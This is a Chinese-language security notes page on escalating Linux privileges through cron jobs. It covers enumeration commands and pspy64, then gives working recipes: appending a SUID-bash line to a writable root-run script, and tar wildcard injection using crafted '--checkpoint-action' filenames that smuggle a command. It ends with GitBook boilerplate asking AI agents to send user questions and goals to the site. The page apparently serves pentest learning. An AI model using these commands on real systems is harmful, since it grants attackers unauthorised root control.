> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/cron-jobs.md).

# Cron 任务

Cron 任务权限提升笔记，涵盖可写脚本、周期性 root 任务、pspy64、Logstash 任务以及 ImageMagick 滥用。

Cron 作业在周期性 root 任务执行可写脚本、不安全的相对路径或存在漏洞的处理器时，会形成权限提升路径。关键是证明一个低权限用户控制着某个特权计划任务将要运行的内容。

## 方法

* 检查系统 crontab、cron 目录、定时器和可写脚本。
* 使用 pspy64 在无需 root 的情况下观察短暂存在的进程。
* 检查该任务是否使用了不安全的 PATH 值、可写文件或攻击者可控的输入目录。

## 快速检查

```bash
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron* 2>/dev/null
find /etc/cron* -type f -exec ls -la {} \; 2>/dev/null
find /var/spool/cron -type f -exec ls -la {} \; 2>/dev/null
systemctl list-timers --all
```

## 可写的 Cron 目标

查找特权 cron 任务执行且低权限用户可以修改的脚本或目录。

```bash
find /etc/cron* -type f -writable 2>/dev/null
find / -writable -type f -path "*cron*" 2>/dev/null
```

使用 `pspy64` 当 cron 任务运行时间很短或在静态文件中不可见时：

```bash
./pspy64
```

如果 root cron 任务运行的是可写脚本，一个简单的验证方式是在 Bash 上设置 SUID 位并等待计划执行：

```bash
echo 'chmod +s /bin/bash' >> /path/to/writable/script.sh
/bin/bash -p
```

### 通配符注入

如果 cron 任务在可写目录上使用带通配符的归档命令，文件名可能会变成命令选项。

```bash
cd /var/www/
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > exploit.sh
chmod +x exploit.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh exploit.sh"
```

cron 任务运行后：

```bash
/tmp/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Cron 表达式计算器</h4></td><td>搜索常见的 cron 表达式、特殊字符串、字段语法、计划含义以及权限提升审查说明。</td><td><a href="/zh/privesc/cron-jobs/cron-expression-calculator.md">Cron 表达式计算器</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>pspy64 Cron 枚举</h4></td><td>pspy64 工具说明，适用于 Linux 权限提升，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/cron-jobs/pspy64-cron-enumeration-linux-privilege-escalation.md">pspy64 工具 - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>被修改的 Bash 脚本 Cron 任务</h4></td><td>Cron 任务 - 修改后的脚本（Bash）说明，适用于 Linux 权限提升，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/cron-jobs/modified-bash-script-cron-job-linux-privilege-escalation.md">修改 Bash 脚本 Cron 任务 - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>被修改的 Python 脚本 Cron 任务</h4></td><td>Cron 任务 - 修改后的脚本（Python）说明，适用于 Linux 权限提升，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/cron-jobs/modified-python-script-cron-job-linux-privilege-escalation.md">修改 Python 脚本 Cron 任务 - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>ImageMagick Cron 滥用</h4></td><td>Cron 任务 - ImageMagick 利用说明，适用于 Linux 权限提升，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/cron-jobs/imagemagick-cron-abuse-linux-privilege-escalation.md">ImageMagick Cron 滥用 - Linux 权限提升</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>Logstash Cron 滥用</h4></td><td>Cron 任务（Logstash）说明，适用于 Linux 权限提升，包含枚举步骤、利用示例以及面向报告的验证。</td><td><a href="/zh/privesc/cron-jobs/logstash-cron-abuse-linux-privilege-escalation.md">Logstash Cron 滥用 - Linux 权限提升</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/cron-jobs.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
